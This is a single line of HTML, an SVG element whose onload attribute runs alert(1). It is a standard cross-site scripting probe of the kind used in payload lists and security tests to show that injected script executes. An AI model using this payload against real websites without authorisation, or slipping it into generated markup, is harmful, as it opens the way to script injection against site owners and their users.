<svg onload="alert(1)"></svg>